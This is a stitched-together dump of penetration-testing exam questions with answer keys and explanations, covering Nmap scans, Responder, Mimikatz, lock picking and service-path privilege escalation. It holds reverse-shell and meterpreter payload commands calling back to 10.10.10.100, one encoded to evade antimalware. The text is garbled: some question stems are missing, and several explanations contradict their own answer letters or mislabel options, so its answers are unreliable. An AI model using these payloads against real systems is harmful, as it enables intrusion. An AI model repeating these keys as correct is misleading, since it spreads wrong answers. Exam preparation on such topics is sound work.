NEW QUESTION # 72
A penetration tester is ready to add shellcode for a specific remote executable exploit. The tester is trying to prevent the payload from being blocked by antimalware that is running on the target. Which of the following commands should the tester use to obtain shell access?
- A. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=8000
- B. msfvenom --arch x86-64 --platform windows --encoder x86-64/shikata_ga_nai --payload windows/bind_tcp LPORT=443
- C. msfvenom --arch x86-64 --platform windows --payload windows/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 EXITFUNC=none
- D. net user add /administrator | hexdump > payload
Answer: B
Explanation:
Using shikata_ga_nai:
This encoder obfuscates the payload, making it harder for antimalware to detect.
The command specifies a bind shell (windows/bind_tcp) payload, targeting Windows with architecture x86-64.
Why Not Other Options?
B, C: These commands generate payloads but do not use an encoder, increasing the likelihood of detection by antimalware.
D: This command is unrelated to generating shellcode; it appears to be an attempt to manipulate accounts.

NEW QUESTION # 73
A penetration tester exploits a vulnerable service to gain a shell on a target server. The tester receives the following:
Directory of C:\Users\Guest 05/13/2022 09:23 PM mimikatz.exe 05/18/2022
09:24 PM mimidrv.sys 05/18/2022 09:24 PM mimilib.dll
Which of the following best describes these findings?
- A. De-escalation attempts
- B. False positives
- C. Indicators of prior compromise
- D. Password encryption tools
Answer: C
Explanation:
The presence of files such as mimikatz.exe, mimidrv.sys, and mimilib.dll on a target server indicates prior compromise. Mimikatz is a well-known post-exploitation tool used for extracting plaintext passwords, hash dumps, PIN codes, and Kerberos tickets from memory. These files suggest that an attacker has previously gained access to the system and used Mimikatz for credential harvesting. This is a strong indicator of a prior security breach rather than tools used for password encryption or false positives.
NEW QUESTION # 74
Which of the following elements in a lock should be aligned to a specific level to allow the key cylinder to turn?
- A. Pins
- B. Plug
- C. Shackle
- D. Latches
Answer: A
Explanation:
In a pin tumbler lock, the key interacts with a series of pins within the lock cylinder. Here's a detailed breakdown:
* Components of a Pin Tumbler Lock:
* Key Pins: These are the pins that the key directly interacts with. The cuts on the key align these pins.
* Driver Pins: These are pushed by the springs and sit between the key pins and the springs.
* Springs: These apply pressure to the driver pins.
* Plug: This is the part of the lock that the key is inserted into and turns when the correct key is used.
* Cylinder: The housing for the plug and the pins.
* Operation:
* When the correct key is inserted, the key pins are pushed up by the key's cuts to align with the shear line (the gap between the plug and the cylinder).
* The alignment of the pins at the shear line allows the plug to turn, thereby operating the lock.
* The correct key aligns the key pins and driver pins to the shear line, allowing the plug to turn. If any pin is not correctly aligned, the lock will not open.
* Illustration in Lock Picking:
* Lock picking involves manipulating the pins so they align at the shear line without the key. This demonstrates the critical role of pins in the functioning of the lock.
NEW QUESTION # 75
During a penetration test, the tester identifies several unused services that are listening on all targeted internal laptops. Which of the following technical controls should the tester recommend to reduce the risk of compromise?
- A. System hardening
- B. Network segmentation
- C. Patch management
- D. Multifactor authentication
Answer: A
Explanation:
When a penetration tester identifies several unused services listening on targeted internal laptops, the most appropriate recommendation to reduce the risk of compromise is system hardening. Here's why:
System Hardening:
Purpose: System hardening involves securing systems by reducing their surface of vulnerability. This includes disabling unnecessary services, applying security patches, and configuring systems securely.
Impact: By disabling unused services, the attack surface is minimized, reducing the risk of these services being exploited by attackers.
Comparison with Other Controls:
Multifactor Authentication (A): While useful for securing authentication, it does not address the issue of unused services running on the system.
Patch Management (B): Important for addressing known vulnerabilities but not specifically related to disabling unused services.
Network Segmentation (D): Helps in containing breaches but does not directly address the issue of unnecessary services.
System hardening is the most direct control for reducing the risk posed by unused services, making it the best recommendation.

During a red-team exercise, a penetration tester obtains an employee's access badge. The tester uses the badge's information to create a duplicate for unauthorized entry. Which of the following best describes this action?
- A. Card skimming
- B. Smurfing
- C. RFID cloning
- D. Credential stuffing
Answer: C
Explanation:
* RFID Cloning:
* RFID (Radio-Frequency Identification) cloning involves copying the data from an access badge and creating a duplicate that can be used for unauthorized entry.
* Tools like Proxmark or RFID duplicators are commonly used for this purpose.
* Why Not Other Options?
* A (Smurfing): A network-based denial-of-service attack, unrelated to physical access.
* B (Credential stuffing): Involves using stolen credentials in bulk for authentication attempts, unrelated to badge cloning.
* D (Card skimming): Relates to stealing credit card information, not access badges.

Which of the following could be used to enhance the quality and reliability of a vulnerability scan report?
- A. Client acceptance
- B. Root cause analysis
- C. Risk analysis
- D. Peer review
Answer: D
Explanation:
* Peer Review:
* Peer reviews ensure the accuracy, completeness, and reliability of the report by having another qualified tester validate the findings, methodology, and conclusions.
* It helps identify errors or omissions and provides additional insights to improve the report.
* Why Not Other Options?
* A (Risk analysis): Risk analysis enhances understanding but does not directly improve report quality.
* C (Root cause analysis): This is useful for addressing vulnerabilities but does not enhance the scan report itself.
* D (Client acceptance): While important, it does not directly improve the quality or reliability of the report.

Operating systems that were not updated by the patch management system
Which of the following recommendations should the penetration tester provide to address the root issue?
- A. Deploy an endpoint detection and response system.
- B. Add all systems to the vulnerability management system.
- C. Patch the out-of-date operating systems.
- D. Implement a configuration management system.
Answer: D
Explanation:
Identified Weaknesses:
Weaker password settings than the company standard: Indicates inconsistency in password policies across systems.
Systems without the company's endpoint security software installed: Suggests lack of uniformity in security software deployment.
Operating systems not updated by the patch management system: Points to gaps in patch management processes.
Configuration Management System:
Definition: A configuration management system automates the deployment, maintenance, and enforcement of configurations across all systems in an organization.
Benefits: Ensures consistency in security settings, software installations, and patch management across the entire environment.
Examples: Tools like Ansible, Puppet, and Chef can help automate and manage configurations, ensuring compliance with organizational standards.
Other Recommendations:
Vulnerability Management System: While adding systems to this system helps track vulnerabilities, it does not address the root cause of configuration inconsistencies.
Endpoint Detection and Response (EDR): Useful for detecting and responding to threats, but not for enforcing consistent configurations.
Patch Management: Patching systems addresses specific vulnerabilities but does not solve broader configuration management issues.
Pentest Reference:
System Hardening: Ensuring all systems adhere to security baselines and configurations to reduce attack surfaces.
Automation in Security: Using configuration management tools to automate security practices, ensuring compliance and reducing manual errors.
Implementing a configuration management system addresses the root issue by ensuring consistent security configurations, software deployments, and patch management across the entire environment.

NEW QUESTION # 81
A penetration tester uncovers access keys within an organization's source code management solution. Which of the following would BEST address the issue? (Choose two.)
- A. Leveraging a solution to scan for other similar instances in the source code management system
- B. Creating a trigger that will prevent developers from including passwords in the source code management system
- C. Configuring multifactor authentication on the source code management system
- D. Setting up a secret management solution for all items in the source code management system
- E. Developing a secure software development life cycle process for committing code to the source code management system
- F. Implementing role-based access control on the source code management system
Answer: D,E
Explanation:
Access keys are credentials that allow users to authenticate and authorize requests to a source code management (SCM) system, such as GitLab or AWS. Access keys should be kept secret and not exposed in plain text within the source code, as this can compromise the security and integrity of the SCM system and its data.
Some possible options for addressing the issue of access keys within an organization's SCM solution are:
Setting up a secret management solution for all items in the SCM system: This is a tool or service that securely stores, manages, and distributes secrets such as access keys, passwords, tokens, certificates, etc. A secret management solution can help prevent secrets from being exposed in plain text within the source code or configuration files3456.
Developing a secure software development life cycle (SDLC) process for committing code to the SCM system: This is a framework or methodology that defines how software is developed, tested, deployed, and maintained. A secure SDLC process can help ensure that best practices for security are followed throughout the software development process, such as code reviews, static analysis tools, vulnerability scanning tools, etc. A secure SDLC process can help detect and prevent access keys from being included in the source code before they are committed to the SCM system1.
NEW QUESTION # 82
A penetration tester is conducting an Nmap scan and wants to scan for ports without establishing a connection. The tester also wants to find version data information for services running on Projects. Which of the following Nmap commands should the tester use?
- A. ..nmap -sT -v -T5 target.company.com
- B. ..nmap -sX -sC target.company.com
- C. ..nmap -sU -sV -T4 -F target.company.com
- D. ..nmap -sS -sV -F target.company.com
Answer: D
Explanation:
The Nmap command that the tester should use to scan for ports without establishing a connection and to find version data information for services running on open ports is nmap -sS -sV -F target.company.com. This command has the following options:
-sS performs a TCP SYN scan, which is a scan technique that sends TCP packets with the SYN flag set to the target ports and analyzes the responses. A TCP SYN scan does not establish a full TCP connection, as it only completes the first step of the three-way handshake. A TCP SYN scan can stealthily scan for open ports without alerting the target system or application.
-sV performs version detection, which is a feature that probes open ports to determine the service and version information of the applications running on them. Version detection can provide useful information for identifying vulnerabilities or exploits that affect specific versions of services or applications.
-F performs a fast scan, which is a scan option that only scans the 100 most common ports according to the nmap-services file. A fast scan can speed up the scan process by avoiding scanning less likely or less interesting ports.
target.company.com specifies the domain name of the target system or network to be scanned.
The other options are not valid Nmap commands that meet the requirements of the question. Option A performs a UDP scan (-sU), which is a scan technique that sends UDP packets to the target ports and analyzes the responses. A UDP scan can scan for open ports that use UDP protocol, such as DNS, SNMP, or DHCP. However, a UDP scan does establish a connection with the target system or application, unlike a TCP SYN scan. Option C performs a TCP connect scan (-sT), which is a scan technique that sends TCP packets with the SYN flag set to the target ports and completes the three-way handshake with an ACK packet if a SYN/ACK packet is received. A TCP connect scan can scan for open ports that use TCP protocol, such as HTTP, FTP, or SSH. However, a TCP connect scan does establish a full TCP connection with the target system or application, unlike a TCP SYN scan. Option D performs an Xmas scan (-sX), which is a scan technique that sends TCP packets with the FIN, PSH, and URG flags set to the target ports and analyzes the responses. An Xmas scan can stealthily scan for open ports without alerting the target system or application, similar to a TCP SYN scan. However, option D does not perform version detection (-sV), which is one of the requirements of the question.
NEW QUESTION # 83
A penetration tester enumerates a legacy Windows host on the same subnet. The tester needs to select exploit methods that will have the least impact on the host's operating stability. Which of the following commands should the tester try first?
- A. hydra -L administrator -P /path/to/pwlist.txt -t 100 rdp://<target_host>
- B. responder -I eth0 john responder_output.txt <rdp to target>
- C. python3 ./buffer_overflow_with_shellcode.py <target> 445
- D. msf > use <module_name> msf > set <options> msf > set PAYLOAD windows/meterpreter
/reverse_tcp msf > run
Answer: B
Explanation:
Responder is a tool used for capturing and analyzing NetBIOS, LLMNR, and MDNS queries to perform various man-in-the-middle (MITM) attacks. It can be used to capture hashed credentials, which can then be cracked offline. Using Responder has the least impact on the host's operating stability compared to more aggressive methods like buffer overflow attacks or payload injections.
* Understanding Responder:
* Purpose: Responder is used to capture NTLMv2 hashes from a Windows network.
* Operation: It listens on the network for LLMNR, NBT-NS, and MDNS requests and responds to them, tricking the client into authenticating with the attacker's machine.
* Command Breakdown:
* responder -I eth0: Starts Responder on the network interface eth0.
* john responder_output.txt: Uses John the Ripper to crack the hashes captured by Responder.
* <rdp to target>: Suggests the next step after capturing credentials might involve using RDP with the cracked password, but the initial capture is passive and low impact.
* Why This is the Best Choice:
* Least Impact: Responder passively captures network traffic without interacting directly with the target host's system processes.
* Stealth: It operates quietly on the network, making it less likely to cause stability issues or be detected by host-based security mechanisms.
* References from Pentesting Literature:
* Tools like Responder are discussed in penetration testing guides for initial reconnaissance and credential gathering without causing significant disruptions.
* HTB write-ups frequently mention the use of Responder in network-based attacks to capture credentials safely.

Which of the following attack types is most likely being used in the test?
- A. FragAttack
- B. MDK4
- C. Smurf attack
- D. SYN flood
Answer: D
Explanation:
A SYN flood attack exploits the TCP handshake by sending a succession of SYN requests to a target's system. Each request initializes a connection that the target system must acknowledge, thus consuming resources.
NEW QUESTION # 85
During a security assessment for an internal corporate network, a penetration tester wants to gain unauthorized access to internal resources by executing an attack that uses software to disguise itself as legitimate software. Which of the following host-based attacks should the tester use?
- A. On-path
- B. Logic bomb
- C. Rootkit
- D. Buffer overflow
Answer: C
Explanation:
A rootkit is a type of malicious software designed to provide an attacker with unauthorized access to a computer system while concealing its presence. Rootkits achieve this by modifying the host's operating system or other software to hide their existence, allowing the attacker to maintain control over the system without detection.
Step-by-Step Explanation
Definition and Purpose:
Rootkits are primarily used to gain and maintain root access (administrative privileges) on a system.
They disguise themselves as legitimate software or integrate deeply into the operating system to avoid detection.
Mechanisms of Action:
Kernel Mode Rootkits: These operate at the kernel level, which is the core of the operating system, making them very powerful and hard to detect.
User Mode Rootkits: These run in the same space as user applications, intercepting and altering standard system API calls to hide their presence.
Bootkits: These infect the Master Boot Record (MBR) or Volume Boot Record (VBR) and load before the operating system, making them extremely difficult to detect and remove.
Detection and Prevention:
Detection Tools: Tools like RootkitRevealer, Chkrootkit, and rkhunter can help in identifying rootkits.
Prevention: Regular system updates, use of strong antivirus and anti-malware solutions, and integrity checking tools like Tripwire can help in preventing rootkit infections.
Real-World Examples:
Sony BMG Rootkit: In 2005, Sony BMG included a rootkit in their digital rights management (DRM) software on music CDs. The rootkit hid files and processes, leading to a major scandal when it was discovered.
Stuxnet: This sophisticated worm included a rootkit component to hide its presence on infected systems, making it one of the most infamous examples of rootkit use in a cyber attack.
Reference from Pentesting Literature:
In "Penetration Testing - A Hands-on Introduction to Hacking" by Georgia Weidman, rootkits are discussed in the context of post-exploitation, where maintaining access to the compromised system is crucial.
Various HTB write-ups, such as the analysis of complex attacks involving multiple stages of exploitation, often highlight the use of rootkits in maintaining persistent access.

- C. SAST
- D. IAST
Answer: C
Explanation:
kube-hunter is a tool designed to perform security assessments on Kubernetes clusters. It identifies various vulnerabilities, focusing on weaknesses and misconfigurations. Here's why option B is correct:
Kube-hunter: It scans Kubernetes clusters to identify security issues, such as misconfigurations, insecure settings, and potential attack vectors.
Network Configuration Errors: While kube-hunter might identify some network-related issues, its primary focus is on Kubernetes-specific vulnerabilities and misconfigurations.
Application Deployment Issues: These are more related to the applications running within the cluster, not the cluster configuration itself.
Security Vulnerabilities in Docker Containers: Kube-hunter focuses on the Kubernetes environment rather than Docker container-specific vulnerabilities.
Reference from Pentest:
Forge HTB: Highlights the use of specialized tools to identify misconfigurations in environments, similar to how kube-hunter operates within Kubernetes clusters.
Anubis HTB: Demonstrates the importance of identifying and fixing misconfigurations within complex environments like Kubernetes clusters.
Conclusion:
Option B, weaknesses and misconfigurations in the Kubernetes cluster, accurately describes the type of vulnerabilities that kube-hunter is designed to detect.

Which of the following best explains why communication is a vital phase of a penetration test?
- A. To build rapport with the emergency contact
- B. To discuss situational awareness
- C. To explain the data destruction process
- D. To ensure the likelihood of future assessments
Answer: B
Explanation:
Communication is a vital phase of a penetration test to ensure all parties involved are aware of the test's progress, findings, and any potential impact on business operations. Discussing situational awareness involves sharing real-time insights about the security posture, any vulnerabilities found, and potential risks.
This enables the organization to make informed decisions, mitigate risks promptly, and ensure the test aligns with business objectives and constraints.

A penetration tester is conducting an assessment for an e-commerce company and successfully copies the user database to the local machine. After a closer review, the penetration tester identifies several high-profile celebrities who have active user accounts with the online service. Which of the following is the most appropriate next step?
- A. Record the findings in the penetration test report.
- B. Delete the high-profile accounts.
- C. Contact the high-profile celebrities.
- D. Immediately contact the client.
Answer: D
Explanation:
Upon discovering sensitive information, such as high-profile celebrities' user accounts, the most appropriate and ethical next step is to immediately contact the client. This allows the client to take necessary actions to secure the data and mitigate any potential risks. It is important for a penetration tester to maintain confidentiality and integrity, and directly contacting the celebrities (option A), deleting the accounts (option B), or merely recording the findings without immediate notification (option D) would not be appropriate professional responses.

- A. Tailgating
- B. Shoulder surfing
- C. Site survey
- D. Badge cloning
Answer: A
Explanation:
* Understanding Tailgating:
* Definition: Tailgating occurs when an unauthorized individual follows an authorized individual into a secure area without the need for the latter to provide credentials.
* Risk: Bypasses physical access controls and can lead to unauthorized access to sensitive areas.
* Methods to Prevent Tailgating:
* Security Awareness: Train employees to be aware of tailgating risks and to challenge unknown individuals.
* Physical Controls: Install turnstiles, mantraps, or security doors that only allow one person to enter at a time.
* Monitoring: Use CCTV cameras to monitor entrances and exits.
* Examples in Penetration Testing:
* During a physical security assessment, a penetration tester might follow an employee into a secure area to test the effectiveness of physical security measures.
* Tailgating is a common social engineering tactic used to gain unauthorized physical access.
* References from Pentesting Literature:
* Tailgating is discussed in penetration testing methodologies as a critical aspect of physical security assessments.
* HTB write-ups occasionally cover scenarios where physical access was gained through tailgating.

Which of the following expressions in Python increase a variable val by one (Choose two.)
- A. +val
- B. val=val++
- C. val+=1
- D. ++val
- E. val++
- F. val=(val+1)
Answer: C,F
Explanation:
In Python, there are two ways to increase a variable by one: using the assignment operator (=) with an arithmetic expression, or using the augmented assignment operator (+=). The expressions val=(val+1) and val+=1 both achieve this goal. The expressions val++ and ++val are not valid in Python, as there is no increment operator. The expressions +val and val=val++ do not change the value of val2.

NEW QUESTION # 92
A penetration tester is conducting a vulnerability scan. The tester wants to see any vulnerabilities that may be visible from outside of the organization. Which of the following scans should the penetration tester perform?
- A. Unauthenticated
- B. Host-based
- C. Sidecar
- D. SAST
Answer: A
Explanation:
To see any vulnerabilities that may be visible from outside of the organization, the penetration tester should perform an unauthenticated scan.
Unauthenticated Scan:
Definition: An unauthenticated scan is conducted without providing any credentials to the scanning tool. It simulates the perspective of an external attacker who does not have any prior access to the system.
Purpose: Identifies vulnerabilities that are exposed to the public and can be exploited without authentication. This includes open ports, outdated software, and misconfigurations visible to the outside world.
Comparison with Other Scans:
SAST (Static Application Security Testing): Analyzes source code for vulnerabilities, typically used during the development phase and not suitable for external vulnerability scanning.
Sidecar: This term is generally associated with microservices architecture and is not relevant to the context of vulnerability scanning.
Host-based: Involves scanning from within the network and often requires authenticated access to the host to identify vulnerabilities. It is not suitable for determining external vulnerabilities.
Pentest Reference:
External Vulnerability Assessment: Conducting unauthenticated scans helps identify the attack surface exposed to external threats and prioritizes vulnerabilities that are accessible from the internet.
Tools: Common tools for unauthenticated scanning include Nessus, OpenVAS, and Nmap.
By performing an unauthenticated scan, the penetration tester can identify vulnerabilities that an external attacker could exploit without needing any credentials or internal access.
NEW QUESTION # 93
A penetration tester issues the following command after obtaining a low-privilege reverse shell: wmic service get name,pathname,startmode Which of the following is the most likely reason the penetration tester ran this command?
- A. To find services that have unquoted service paths
- B. To search for passwords in the service directory
- C. To register a service to run as System
- D. To list scheduled tasks that may be exploitable
Answer: A
Explanation:
The command wmic service get name,pathname,startmode is used by penetration testers to enumerate services and their configurations, specifically looking for services with unquoted paths. If a service's path contains spaces and is not enclosed in quotes, it can be exploited by placing a malicious executable along the path, leading to privilege escalation. For example, if the service path is C:\Program Files\My Service\service.exe and is unquoted, an attacker could place a malicious Program.exe in C:\, which would then be executed with the same privileges as the service when the service starts. Identifying such services allows penetration testers to highlight potential security risks that could be exploited for privilege escalation.
NEW QUESTION # 94

- D. Shodan
Answer: A
Explanation:
The Wayback Machine is an online tool that archives web pages over time, allowing users to see how a website looked at various points in its history. This can be extremely useful for penetration testers looking to explore potential security weaknesses by searching for subdomains that might have existed in the past.
NEW QUESTION # 95
A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:
Which of the following tools will help the tester prepare an attack for this scenario?
- A. Netcat and cURL
- B. Burp Suite and DIRB
- C. Nmap and OWASP ZAP
- D. Hydra and crunch
Answer: A
Explanation:
Netcat and cURL are tools that will help the tester prepare an attack for this scenario, as they can be used to establish a TCP connection, send payloads, and receive responses from the target web server. Netcat is a versatile tool that can create TCP or UDP connections and transfer data between hosts. cURL is a tool that can transfer data using various protocols, such as HTTP, FTP, SMTP, etc. The tester can use these tools to exploit the PHP script that executes shell commands with the value of the "item" variable.
